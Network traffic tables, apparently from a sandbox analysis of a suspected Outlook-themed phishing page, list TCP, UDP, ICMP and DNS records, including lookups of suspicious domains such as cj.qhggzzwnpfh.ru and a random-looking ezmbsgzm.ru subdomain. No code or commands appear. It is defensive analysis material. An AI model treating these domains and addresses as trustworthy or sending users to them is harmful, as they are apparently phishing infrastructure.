Dec 11, 2024 02:09:23.302690029 CET	443	49839	142.250.181.100	192.168.2.4
Dec 11, 2024 02:09:23.302771091 CET	49839	443	192.168.2.4	142.250.181.100
Dec 11, 2024 02:09:23.303164005 CET	49839	443	192.168.2.4	142.250.181.100
Dec 11, 2024 02:09:23.303174973 CET	443	49839	142.250.181.100	192.168.2.4
Dec 11, 2024 02:09:23.582437992 CET	49724	80	192.168.2.4	199.232.214.172
Dec 11, 2024 02:09:23.702069998 CET	80	49724	199.232.214.172	192.168.2.4
Dec 11, 2024 02:09:23.702141047 CET	49724	80	192.168.2.4	199.232.214.172
Dec 11, 2024 02:09:24.989114046 CET	443	49839	142.250.181.100	192.168.2.4
Dec 11, 2024 02:09:24.989531994 CET	49839	443	192.168.2.4	142.250.181.100
Dec 11, 2024 02:09:24.989540100 CET	443	49839	142.250.181.100	192.168.2.4
Dec 11, 2024 02:09:24.989865065 CET	443	49839	142.250.181.100	192.168.2.4
Dec 11, 2024 02:09:24.990173101 CET	49839	443	192.168.2.4	142.250.181.100
Dec 11, 2024 02:09:24.990264893 CET	443	49839	142.250.181.100	192.168.2.4
Dec 11, 2024 02:09:25.036109924 CET	49839	443	192.168.2.4	142.250.181.100
Dec 11, 2024 02:09:26.829917908 CET	49850	443	192.168.2.4	40.99.70.178
Dec 11, 2024 02:09:26.829933882 CET	443	49850	40.99.70.178	192.168.2.4
Dec 11, 2024 02:09:26.830004930 CET	49850	443	192.168.2.4	40.99.70.178
Dec 11, 2024 02:09:26.830183029 CET	49850	443	192.168.2.4	40.99.70.178
Dec 11, 2024 02:09:26.830189943 CET	443	49850	40.99.70.178	192.168.2.4
Dec 11, 2024 02:09:28.921530008 CET	443	49850	40.99.70.178	192.168.2.4
Dec 11, 2024 02:09:28.921773911 CET	49850	443	192.168.2.4	40.99.70.178
Dec 11, 2024 02:09:28.921796083 CET	443	49850	40.99.70.178	192.168.2.4
Dec 11, 2024 02:09:28.922847033 CET	443	49850	40.99.70.178	192.168.2.4
Dec 11, 2024 02:09:28.922904015 CET	49850	443	192.168.2.4	40.99.70.178
Dec 11, 2024 02:09:28.922911882 CET	443	49850	40.99.70.178	192.168.2.4
Dec 11, 2024 02:09:28.922975063 CET	49850	443	192.168.2.4	40.99.70.178
Dec 11, 2024 02:09:28.923337936 CET	49850	443	192.168.2.4	40.99.70.178
Dec 11, 2024 02:09:28.923393965 CET	443	49850	40.99.70.178	192.168.2.4
Dec 11, 2024 02:09:28.971723080 CET	49850	443	192.168.2.4	40.99.70.178
Dec 11, 2024 02:09:28.971736908 CET	443	49850	40.99.70.178	192.168.2.4
Dec 11, 2024 02:09:29.022629976 CET	49850	443	192.168.2.4	40.99.70.178
Dec 11, 2024 02:09:34.709450006 CET	443	49839	142.250.181.100	192.168.2.4
Dec 11, 2024 02:09:34.709520102 CET	443	49839	142.250.181.100	192.168.2.4
Dec 11, 2024 02:09:34.709579945 CET	49839	443	192.168.2.4	142.250.181.100
Dec 11, 2024 02:09:36.288713932 CET	49839	443	192.168.2.4	142.250.181.100
Dec 11, 2024 02:09:36.288731098 CET	443	49839	142.250.181.100	192.168.2.4
Dec 11, 2024 02:09:47.394023895 CET	49791	443	192.168.2.4	52.98.95.210
Dec 11, 2024 02:09:47.394035101 CET	443	49791	52.98.95.210	192.168.2.4
Dec 11, 2024 02:10:04.289640903 CET	49791	443	192.168.2.4	52.98.95.210
Dec 11, 2024 02:10:04.289742947 CET	443	49791	52.98.95.210	192.168.2.4
Dec 11, 2024 02:10:04.289809942 CET	49791	443	192.168.2.4	52.98.95.210
Dec 11, 2024 02:10:13.973834991 CET	49850	443	192.168.2.4	40.99.70.178
Dec 11, 2024 02:10:13.973844051 CET	443	49850	40.99.70.178	192.168.2.4
Dec 11, 2024 02:10:23.365580082 CET	49991	443	192.168.2.4	142.250.181.100
Dec 11, 2024 02:10:23.365616083 CET	443	49991	142.250.181.100	192.168.2.4
Dec 11, 2024 02:10:23.365696907 CET	49991	443	192.168.2.4	142.250.181.100
Dec 11, 2024 02:10:23.365892887 CET	49991	443	192.168.2.4	142.250.181.100
Dec 11, 2024 02:10:23.365907907 CET	443	49991	142.250.181.100	192.168.2.4
Dec 11, 2024 02:10:25.056987047 CET	443	49991	142.250.181.100	192.168.2.4
Dec 11, 2024 02:10:25.057315111 CET	49991	443	192.168.2.4	142.250.181.100
Dec 11, 2024 02:10:25.057338953 CET	443	49991	142.250.181.100	192.168.2.4
Dec 11, 2024 02:10:25.057667017 CET	443	49991	142.250.181.100	192.168.2.4
Dec 11, 2024 02:10:25.057951927 CET	49991	443	192.168.2.4	142.250.181.100
Dec 11, 2024 02:10:25.058013916 CET	443	49991	142.250.181.100	192.168.2.4
Dec 11, 2024 02:10:25.105808020 CET	49991	443	192.168.2.4	142.250.181.100
Dec 11, 2024 02:10:30.287631035 CET	49850	443	192.168.2.4	40.99.70.178
Dec 11, 2024 02:10:30.287724972 CET	443	49850	40.99.70.178	192.168.2.4
Dec 11, 2024 02:10:30.287795067 CET	49850	443	192.168.2.4	40.99.70.178
Dec 11, 2024 02:10:32.959116936 CET	50015	443	192.168.2.4	52.97.173.18
Dec 11, 2024 02:10:32.959161997 CET	443	50015	52.97.173.18	192.168.2.4
Dec 11, 2024 02:10:32.959230900 CET	50015	443	192.168.2.4	52.97.173.18
Dec 11, 2024 02:10:32.959456921 CET	50015	443	192.168.2.4	52.97.173.18
Dec 11, 2024 02:10:32.959470034 CET	443	50015	52.97.173.18	192.168.2.4
Dec 11, 2024 02:10:34.758934021 CET	443	49991	142.250.181.100	192.168.2.4
Dec 11, 2024 02:10:34.758997917 CET	443	49991	142.250.181.100	192.168.2.4
Dec 11, 2024 02:10:34.759169102 CET	49991	443	192.168.2.4	142.250.181.100
Dec 11, 2024 02:10:34.809840918 CET	443	50015	52.97.173.18	192.168.2.4
Dec 11, 2024 02:10:34.810203075 CET	50015	443	192.168.2.4	52.97.173.18
Dec 11, 2024 02:10:34.810228109 CET	443	50015	52.97.173.18	192.168.2.4
Dec 11, 2024 02:10:34.811254025 CET	443	50015	52.97.173.18	192.168.2.4
Dec 11, 2024 02:10:34.811403990 CET	50015	443	192.168.2.4	52.97.173.18
Dec 11, 2024 02:10:34.811412096 CET	443	50015	52.97.173.18	192.168.2.4
Dec 11, 2024 02:10:34.811458111 CET	50015	443	192.168.2.4	52.97.173.18
Dec 11, 2024 02:10:34.811681032 CET	50015	443	192.168.2.4	52.97.173.18
Dec 11, 2024 02:10:34.811736107 CET	443	50015	52.97.173.18	192.168.2.4
Dec 11, 2024 02:10:34.865556002 CET	50015	443	192.168.2.4	52.97.173.18
Dec 11, 2024 02:10:34.865570068 CET	443	50015	52.97.173.18	192.168.2.4
Dec 11, 2024 02:10:34.911231041 CET	50015	443	192.168.2.4	52.97.173.18
Dec 11, 2024 02:10:36.296571970 CET	49991	443	192.168.2.4	142.250.181.100
Dec 11, 2024 02:10:36.296582937 CET	443	49991	142.250.181.100	192.168.2.4
Dec 11, 2024 02:11:19.869227886 CET	50015	443	192.168.2.4	52.97.173.18
Dec 11, 2024 02:11:19.869259119 CET	443	50015	52.97.173.18	192.168.2.4
Dec 11, 2024 02:11:23.430038929 CET	50113	443	192.168.2.4	142.250.181.100
Dec 11, 2024 02:11:23.430098057 CET	443	50113	142.250.181.100	192.168.2.4
Dec 11, 2024 02:11:23.430185080 CET	50113	443	192.168.2.4	142.250.181.100
Dec 11, 2024 02:11:23.430434942 CET	50113	443	192.168.2.4	142.250.181.100
Dec 11, 2024 02:11:23.430459023 CET	443	50113	142.250.181.100	192.168.2.4
Dec 11, 2024 02:11:25.128528118 CET	443	50113	142.250.181.100	192.168.2.4
Dec 11, 2024 02:11:25.128900051 CET	50113	443	192.168.2.4	142.250.181.100
Dec 11, 2024 02:11:25.128926992 CET	443	50113	142.250.181.100	192.168.2.4
Dec 11, 2024 02:11:25.129251957 CET	443	50113	142.250.181.100	192.168.2.4
Dec 11, 2024 02:11:25.129545927 CET	50113	443	192.168.2.4	142.250.181.100
Dec 11, 2024 02:11:25.129621029 CET	443	50113	142.250.181.100	192.168.2.4
Dec 11, 2024 02:11:25.184818983 CET	50113	443	192.168.2.4	142.250.181.100

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 11, 2024 02:08:19.989932060 CET	64999	53	192.168.2.4	1.1.1.1
Dec 11, 2024 02:08:19.990092039 CET	61900	53	192.168.2.4	1.1.1.1
Dec 11, 2024 02:08:20.107222080 CET	53	53165	1.1.1.1	192.168.2.4
Dec 11, 2024 02:08:20.125216007 CET	53	52810	1.1.1.1	192.168.2.4
Dec 11, 2024 02:08:20.126514912 CET	53	64999	1.1.1.1	192.168.2.4
Dec 11, 2024 02:08:20.126665115 CET	53	61900	1.1.1.1	192.168.2.4
Dec 11, 2024 02:08:22.264389038 CET	60143	53	192.168.2.4	1.1.1.1
Dec 11, 2024 02:08:22.264697075 CET	62155	53	192.168.2.4	1.1.1.1
Dec 11, 2024 02:08:22.268723965 CET	58151	53	192.168.2.4	1.1.1.1
Dec 11, 2024 02:08:22.268933058 CET	55539	53	192.168.2.4	1.1.1.1
Dec 11, 2024 02:08:22.405249119 CET	53	58151	1.1.1.1	192.168.2.4
Dec 11, 2024 02:08:22.405278921 CET	53	55539	1.1.1.1	192.168.2.4
Dec 11, 2024 02:08:22.653075933 CET	53	62155	1.1.1.1	192.168.2.4
Dec 11, 2024 02:08:22.653889894 CET	53	60143	1.1.1.1	192.168.2.4
Dec 11, 2024 02:08:22.971754074 CET	53	57457	1.1.1.1	192.168.2.4
Dec 11, 2024 02:08:23.239923954 CET	64567	53	192.168.2.4	1.1.1.1
Dec 11, 2024 02:08:23.240159988 CET	63869	53	192.168.2.4	1.1.1.1
Dec 11, 2024 02:08:23.376312971 CET	53	63869	1.1.1.1	192.168.2.4
Dec 11, 2024 02:08:23.376672029 CET	53	64567	1.1.1.1	192.168.2.4
Dec 11, 2024 02:08:24.369365931 CET	59152	53	192.168.2.4	1.1.1.1
Dec 11, 2024 02:08:24.369718075 CET	53515	53	192.168.2.4	1.1.1.1
Dec 11, 2024 02:08:24.506165981 CET	53	59152	1.1.1.1	192.168.2.4
Dec 11, 2024 02:08:24.507133007 CET	53	53515	1.1.1.1	192.168.2.4
Dec 11, 2024 02:08:25.138966084 CET	53981	53	192.168.2.4	1.1.1.1
Dec 11, 2024 02:08:25.145857096 CET	55739	53	192.168.2.4	1.1.1.1
Dec 11, 2024 02:08:25.640782118 CET	53	55739	1.1.1.1	192.168.2.4
Dec 11, 2024 02:08:25.641160965 CET	53	53981	1.1.1.1	192.168.2.4
Dec 11, 2024 02:08:29.085530043 CET	61361	53	192.168.2.4	1.1.1.1
Dec 11, 2024 02:08:29.085686922 CET	53833	53	192.168.2.4	1.1.1.1
Dec 11, 2024 02:08:29.086179018 CET	59009	53	192.168.2.4	1.1.1.1
Dec 11, 2024 02:08:29.086325884 CET	64428	53	192.168.2.4	1.1.1.1
Dec 11, 2024 02:08:29.086695910 CET	52040	53	192.168.2.4	1.1.1.1
Dec 11, 2024 02:08:29.086827993 CET	62007	53	192.168.2.4	1.1.1.1
Dec 11, 2024 02:08:29.223140955 CET	53	53833	1.1.1.1	192.168.2.4
Dec 11, 2024 02:08:29.223675966 CET	53	62007	1.1.1.1	192.168.2.4
Dec 11, 2024 02:08:29.223711967 CET	53	61361	1.1.1.1	192.168.2.4
Dec 11, 2024 02:08:29.223803997 CET	53	59009	1.1.1.1	192.168.2.4
Dec 11, 2024 02:08:29.224972963 CET	53	64428	1.1.1.1	192.168.2.4
Dec 11, 2024 02:08:29.225123882 CET	53	52040	1.1.1.1	192.168.2.4
Dec 11, 2024 02:08:31.344598055 CET	60076	53	192.168.2.4	1.1.1.1
Dec 11, 2024 02:08:31.344753981 CET	55785	53	192.168.2.4	1.1.1.1
Dec 11, 2024 02:08:31.481321096 CET	53	60076	1.1.1.1	192.168.2.4
Dec 11, 2024 02:08:31.484117031 CET	53	55785	1.1.1.1	192.168.2.4
Dec 11, 2024 02:08:31.972013950 CET	53	56681	1.1.1.1	192.168.2.4
Dec 11, 2024 02:08:32.874233961 CET	55687	53	192.168.2.4	1.1.1.1
Dec 11, 2024 02:08:32.874418020 CET	53530	53	192.168.2.4	1.1.1.1
Dec 11, 2024 02:08:32.909477949 CET	57539	53	192.168.2.4	1.1.1.1
Dec 11, 2024 02:08:32.909745932 CET	63030	53	192.168.2.4	1.1.1.1
Dec 11, 2024 02:08:33.010662079 CET	53	55687	1.1.1.1	192.168.2.4
Dec 11, 2024 02:08:33.011023998 CET	53	53530	1.1.1.1	192.168.2.4
Dec 11, 2024 02:08:33.046411037 CET	53	63030	1.1.1.1	192.168.2.4
Dec 11, 2024 02:08:33.047168970 CET	53	57539	1.1.1.1	192.168.2.4
Dec 11, 2024 02:08:35.060909033 CET	138	138	192.168.2.4	192.168.2.255
Dec 11, 2024 02:08:39.072236061 CET	60997	53	192.168.2.4	1.1.1.1
Dec 11, 2024 02:08:39.072415113 CET	64647	53	192.168.2.4	1.1.1.1
Dec 11, 2024 02:08:39.208928108 CET	53	64647	1.1.1.1	192.168.2.4
Dec 11, 2024 02:08:39.209089041 CET	53	60997	1.1.1.1	192.168.2.4
Dec 11, 2024 02:08:39.925524950 CET	53	55761	1.1.1.1	192.168.2.4
Dec 11, 2024 02:08:56.134237051 CET	49299	53	192.168.2.4	1.1.1.1
Dec 11, 2024 02:08:56.134418011 CET	52742	53	192.168.2.4	1.1.1.1
Dec 11, 2024 02:08:56.532721996 CET	53	49299	1.1.1.1	192.168.2.4
Dec 11, 2024 02:08:56.532999992 CET	53	52742	1.1.1.1	192.168.2.4
Dec 11, 2024 02:08:59.002511024 CET	53	55867	1.1.1.1	192.168.2.4
Dec 11, 2024 02:08:59.877825022 CET	54262	53	192.168.2.4	1.1.1.1
Dec 11, 2024 02:08:59.878043890 CET	53795	53	192.168.2.4	1.1.1.1
Dec 11, 2024 02:08:59.891550064 CET	54576	53	192.168.2.4	1.1.1.1
Dec 11, 2024 02:08:59.891721010 CET	49576	53	192.168.2.4	1.1.1.1
Dec 11, 2024 02:09:00.028692007 CET	53	49576	1.1.1.1	192.168.2.4
Dec 11, 2024 02:09:00.029391050 CET	53	54576	1.1.1.1	192.168.2.4
Dec 11, 2024 02:09:00.116007090 CET	53	54262	1.1.1.1	192.168.2.4
Dec 11, 2024 02:09:00.242022991 CET	53	53795	1.1.1.1	192.168.2.4
Dec 11, 2024 02:09:02.771157026 CET	53832	53	192.168.2.4	1.1.1.1
Dec 11, 2024 02:09:02.771337986 CET	61672	53	192.168.2.4	1.1.1.1
Dec 11, 2024 02:09:02.908951044 CET	53	53832	1.1.1.1	192.168.2.4
Dec 11, 2024 02:09:03.268582106 CET	53	61672	1.1.1.1	192.168.2.4
Dec 11, 2024 02:09:11.333673000 CET	64226	53	192.168.2.4	1.1.1.1
Dec 11, 2024 02:09:11.333867073 CET	49687	53	192.168.2.4	1.1.1.1
Dec 11, 2024 02:09:11.335414886 CET	49664	53	192.168.2.4	1.1.1.1
Dec 11, 2024 02:09:11.335557938 CET	56861	53	192.168.2.4	1.1.1.1
Dec 11, 2024 02:09:14.224648952 CET	62377	53	192.168.2.4	1.1.1.1
Dec 11, 2024 02:09:14.224792957 CET	55179	53	192.168.2.4	1.1.1.1
Dec 11, 2024 02:09:15.928203106 CET	59408	53	192.168.2.4	1.1.1.1
Dec 11, 2024 02:09:15.928419113 CET	62896	53	192.168.2.4	1.1.1.1
Dec 11, 2024 02:09:18.077935934 CET	61312	53	192.168.2.4	1.1.1.1
Dec 11, 2024 02:09:18.078090906 CET	61738	53	192.168.2.4	1.1.1.1
Dec 11, 2024 02:09:19.177264929 CET	53	55462	1.1.1.1	192.168.2.4
Dec 11, 2024 02:09:21.346379042 CET	53	58515	1.1.1.1	192.168.2.4
Dec 11, 2024 02:09:26.647615910 CET	52070	53	192.168.2.4	1.1.1.1
Dec 11, 2024 02:09:26.647939920 CET	64113	53	192.168.2.4	1.1.1.1
Dec 11, 2024 02:09:26.829080105 CET	53	64113	1.1.1.1	192.168.2.4
Dec 11, 2024 02:09:26.829092979 CET	53	52070	1.1.1.1	192.168.2.4
Dec 11, 2024 02:09:51.862637043 CET	53	62804	1.1.1.1	192.168.2.4
Dec 11, 2024 02:10:16.114691973 CET	50425	53	192.168.2.4	1.1.1.1
Dec 11, 2024 02:10:16.114754915 CET	65045	53	192.168.2.4	1.1.1.1
Dec 11, 2024 02:10:32.783509016 CET	64263	53	192.168.2.4	1.1.1.1
Dec 11, 2024 02:10:32.783716917 CET	55735	53	192.168.2.4	1.1.1.1
Dec 11, 2024 02:10:32.920470953 CET	53	64263	1.1.1.1	192.168.2.4
Dec 11, 2024 02:10:33.086035013 CET	53	55735	1.1.1.1	192.168.2.4
Dec 11, 2024 02:10:36.924360037 CET	53	55346	1.1.1.1	192.168.2.4
Dec 11, 2024 02:11:22.650646925 CET	57559	53	192.168.2.4	1.1.1.1
Dec 11, 2024 02:11:22.650816917 CET	54880	53	192.168.2.4	1.1.1.1

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Dec 11, 2024 02:09:00.242639065 CET	192.168.2.4	1.1.1.1	c279	(Port unreachable)	Destination Unreachable
Dec 11, 2024 02:09:03.268651962 CET	192.168.2.4	1.1.1.1	c280	(Port unreachable)	Destination Unreachable
Dec 11, 2024 02:09:11.958430052 CET	192.168.2.4	1.1.1.1	c25f	(Port unreachable)	Destination Unreachable
Dec 11, 2024 02:09:48.529032946 CET	192.168.2.4	1.1.1.1	c233	(Port unreachable)	Destination Unreachable
Dec 11, 2024 02:10:33.086113930 CET	192.168.2.4	1.1.1.1	c25a	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 11, 2024 02:08:19.989932060 CET	192.168.2.4	1.1.1.1	0x6142	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 02:08:19.990092039 CET	192.168.2.4	1.1.1.1	0xba64	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Dec 11, 2024 02:08:22.264389038 CET	192.168.2.4	1.1.1.1	0x6b6e	Standard query (0)	cosenzaconsulting.co	A (IP address)	IN (0x0001)	false
Dec 11, 2024 02:08:22.264697075 CET	192.168.2.4	1.1.1.1	0x8809	Standard query (0)	cosenzaconsulting.co	65	IN (0x0001)	false
Dec 11, 2024 02:08:22.268723965 CET	192.168.2.4	1.1.1.1	0x1f47	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 02:08:22.268933058 CET	192.168.2.4	1.1.1.1	0xff1e	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Dec 11, 2024 02:08:23.239923954 CET	192.168.2.4	1.1.1.1	0x5434	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 02:08:23.240159988 CET	192.168.2.4	1.1.1.1	0x6954	Standard query (0)	www.google.com	65	IN (0x0001)	false
Dec 11, 2024 02:08:24.369365931 CET	192.168.2.4	1.1.1.1	0xb540	Standard query (0)	cosenzaconsulting.co	A (IP address)	IN (0x0001)	false
Dec 11, 2024 02:08:24.369718075 CET	192.168.2.4	1.1.1.1	0xfed8	Standard query (0)	cosenzaconsulting.co	65	IN (0x0001)	false
Dec 11, 2024 02:08:25.138966084 CET	192.168.2.4	1.1.1.1	0xd5af	Standard query (0)	cj.qhggzzwnpfh.ru	A (IP address)	IN (0x0001)	false
Dec 11, 2024 02:08:25.145857096 CET	192.168.2.4	1.1.1.1	0xc6da	Standard query (0)	cj.qhggzzwnpfh.ru	65	IN (0x0001)	false
Dec 11, 2024 02:08:29.085530043 CET	192.168.2.4	1.1.1.1	0xb95a	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 02:08:29.085686922 CET	192.168.2.4	1.1.1.1	0x9c48	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Dec 11, 2024 02:08:29.086179018 CET	192.168.2.4	1.1.1.1	0xc329	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 02:08:29.086325884 CET	192.168.2.4	1.1.1.1	0x7866	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Dec 11, 2024 02:08:29.086695910 CET	192.168.2.4	1.1.1.1	0xd264	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 02:08:29.086827993 CET	192.168.2.4	1.1.1.1	0x961c	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Dec 11, 2024 02:08:31.344598055 CET	192.168.2.4	1.1.1.1	0x73f3	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 02:08:31.344753981 CET	192.168.2.4	1.1.1.1	0xe435	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Dec 11, 2024 02:08:32.874233961 CET	192.168.2.4	1.1.1.1	0x403b	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 02:08:32.874418020 CET	192.168.2.4	1.1.1.1	0xf240	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Dec 11, 2024 02:08:32.909477949 CET	192.168.2.4	1.1.1.1	0x85b1	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 02:08:32.909745932 CET	192.168.2.4	1.1.1.1	0x5c97	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Dec 11, 2024 02:08:39.072236061 CET	192.168.2.4	1.1.1.1	0xa55c	Standard query (0)	a.nel.cloudflare.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 02:08:39.072415113 CET	192.168.2.4	1.1.1.1	0x6040	Standard query (0)	a.nel.cloudflare.com	65	IN (0x0001)	false
Dec 11, 2024 02:08:56.134237051 CET	192.168.2.4	1.1.1.1	0x8c1c	Standard query (0)	dqedloecblwraku5hfuqdf0qrfwvtklcryntknzxcnryahivpslqziaory.ezmbsgzm.ru	A (IP address)	IN (0x0001)	false
Dec 11, 2024 02:08:56.134418011 CET	192.168.2.4	1.1.1.1	0xbb3	Standard query (0)	dqedloecblwraku5hfuqdf0qrfwvtklcryntknzxcnryahivpslqziaory.ezmbsgzm.ru	65	IN (0x0001)	false
Dec 11, 2024 02:08:59.877825022 CET	192.168.2.4	1.1.1.1	0xd3ac	Standard query (0)	www.outlook.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 02:08:59.878043890 CET	192.168.2.4	1.1.1.1	0x6408	Standard query (0)	www.outlook.com	65	IN (0x0001)	false
Dec 11, 2024 02:08:59.891550064 CET	192.168.2.4	1.1.1.1	0xb972	Standard query (0)	dqedloecblwraku5hfuqdf0qrfwvtklcryntknzxcnryahivpslqziaory.ezmbsgzm.ru	A (IP address)	IN (0x0001)	false
Dec 11, 2024 02:08:59.891721010 CET	192.168.2.4	1.1.1.1	0x4864	Standard query (0)	dqedloecblwraku5hfuqdf0qrfwvtklcryntknzxcnryahivpslqziaory.ezmbsgzm.ru	65	IN (0x0001)	false
Dec 11, 2024 02:09:02.771157026 CET	192.168.2.4	1.1.1.1	0x54c9	Standard query (0)	outlook.live.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 02:09:02.771337986 CET	192.168.2.4	1.1.1.1	0x4a63	Standard query (0)	outlook.live.com	65	IN (0x0001)	false
Dec 11, 2024 02:09:11.333673000 CET	192.168.2.4	1.1.1.1	0xf48a	Standard query (0)	assets.onestore.ms	A (IP address)	IN (0x0001)	false
Dec 11, 2024 02:09:11.333867073 CET	192.168.2.4	1.1.1.1	0xc7c8	Standard query (0)	assets.onestore.ms	65	IN (0x0001)	false
Dec 11, 2024 02:09:11.335414886 CET	192.168.2.4	1.1.1.1	0x4372	Standard query (0)	ajax.aspnetcdn.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 02:09:11.335557938 CET	192.168.2.4	1.1.1.1	0x7c4a	Standard query (0)	ajax.aspnetcdn.com	65	IN (0x0001)	false
Dec 11, 2024 02:09:14.224648952 CET	192.168.2.4	1.1.1.1	0x43da	Standard query (0)	ajax.aspnetcdn.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 02:09:14.224792957 CET	192.168.2.4	1.1.1.1	0x19ad	Standard query (0)	ajax.aspnetcdn.com	65	IN (0x0001)	false
Dec 11, 2024 02:09:15.928203106 CET	192.168.2.4	1.1.1.1	0x8b8d	Standard query (0)	c.s-microsoft.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 02:09:15.928419113 CET	192.168.2.4	1.1.1.1	0x9074	Standard query (0)	c.s-microsoft.com	65	IN (0x0001)	false
Dec 11, 2024 02:09:18.077935934 CET	192.168.2.4	1.1.1.1	0xde8e	Standard query (0)	c.s-microsoft.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 02:09:18.078090906 CET	192.168.2.4	1.1.1.1	0x4bd	Standard query (0)	c.s-microsoft.com	65	IN (0x0001)	false
Dec 11, 2024 02:09:26.647615910 CET	192.168.2.4	1.1.1.1	0x46e0	Standard query (0)	outlook.live.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 02:09:26.647939920 CET	192.168.2.4	1.1.1.1	0x7d76	Standard query (0)	outlook.live.com	65	IN (0x0001)	false
Dec 11, 2024 02:10:16.114691973 CET	192.168.2.4	1.1.1.1	0x18dd	Standard query (0)	assets.onestore.ms	A (IP address)	IN (0x0001)	false
Dec 11, 2024 02:10:16.114754915 CET	192.168.2.4	1.1.1.1	0x4187	Standard query (0)	assets.onestore.ms	65	IN (0x0001)	false
Dec 11, 2024 02:10:32.783509016 CET	192.168.2.4	1.1.1.1	0x297e	Standard query (0)	outlook.live.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 02:10:32.783716917 CET	192.168.2.4	1.1.1.1	0xa0d5	Standard query (0)	outlook.live.com	65	IN (0x0001)	false
Dec 11, 2024 02:11:22.650646925 CET	192.168.2.4	1.1.1.1	0x35bf	Standard query (0)	assets.onestore.ms	A (IP address)	IN (0x0001)	false
Dec 11, 2024 02:11:22.650816917 CET	192.168.2.4	1.1.1.1	0xd7b3	Standard query (0)	assets.onestore.ms	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 11, 2024 02:08:20.126514912 CET	1.1.1.1	192.168.2.4	0x6142	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Dec 11, 2024 02:08:20.126514912 CET	1.1.1.1	192.168.2.4	0x6142	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Dec 11, 2024 02:08:20.126665115 CET	1.1.1.1	192.168.2.4	0xba64	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Dec 11, 2024 02:08:22.405249119 CET	1.1.1.1	192.168.2.4	0x1f47	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Dec 11, 2024 02:08:22.405249119 CET	1.1.1.1	192.168.2.4	0x1f47	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Dec 11, 2024 02:08:22.405278921 CET	1.1.1.1	192.168.2.4	0xff1e	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Dec 11, 2024 02:08:22.653889894 CET	1.1.1.1	192.168.2.4	0x6b6e	No error (0)	cosenzaconsulting.co		69.49.245.172	A (IP address)	IN (0x0001)	false
Dec 11, 2024 02:08:23.376312971 CET	1.1.1.1	192.168.2.4	0x6954	No error (0)	www.google.com			65	IN (0x0001)	false
Dec 11, 2024 02:08:23.376672029 CET	1.1.1.1	192.168.2.4	0x5434	No error (0)	www.google.com		142.250.181.100	A (IP address)	IN (0x0001)	false
Dec 11, 2024 02:08:24.506165981 CET	1.1.1.1	192.168.2.4	0xb540	No error (0)	cosenzaconsulting.co		69.49.245.172	A (IP address)	IN (0x0001)	false
Dec 11, 2024 02:08:25.640782118 CET	1.1.1.1	192.168.2.4	0xc6da	No error (0)	cj.qhggzzwnpfh.ru			65	IN (0x0001)	false
Dec 11, 2024 02:08:25.641160965 CET	1.1.1.1	192.168.2.4	0xd5af	No error (0)	cj.qhggzzwnpfh.ru		104.21.32.1	A (IP address)	IN (0x0001)	false
Dec 11, 2024 02:08:25.641160965 CET	1.1.1.1	192.168.2.4	0xd5af	No error (0)	cj.qhggzzwnpfh.ru		104.21.16.1	A (IP address)	IN (0x0001)	false
Dec 11, 2024 02:08:25.641160965 CET	1.1.1.1	192.168.2.4	0xd5af	No error (0)	cj.qhggzzwnpfh.ru		104.21.112.1	A (IP address)	IN (0x0001)	false
Dec 11, 2024 02:08:25.641160965 CET	1.1.1.1	192.168.2.4	0xd5af	No error (0)	cj.qhggzzwnpfh.ru		104.21.48.1	A (IP address)	IN (0x0001)	false
Dec 11, 2024 02:08:25.641160965 CET	1.1.1.1	192.168.2.4	0xd5af	No error (0)	cj.qhggzzwnpfh.ru		104.21.80.1	A (IP address)	IN (0x0001)	false
Dec 11, 2024 02:08:25.641160965 CET	1.1.1.1	192.168.2.4	0xd5af	No error (0)	cj.qhggzzwnpfh.ru		104.21.96.1	A (IP address)	IN (0x0001)	false
Dec 11, 2024 02:08:25.641160965 CET	1.1.1.1	192.168.2.4	0xd5af	No error (0)	cj.qhggzzwnpfh.ru		104.21.64.1	A (IP address)	IN (0x0001)	false
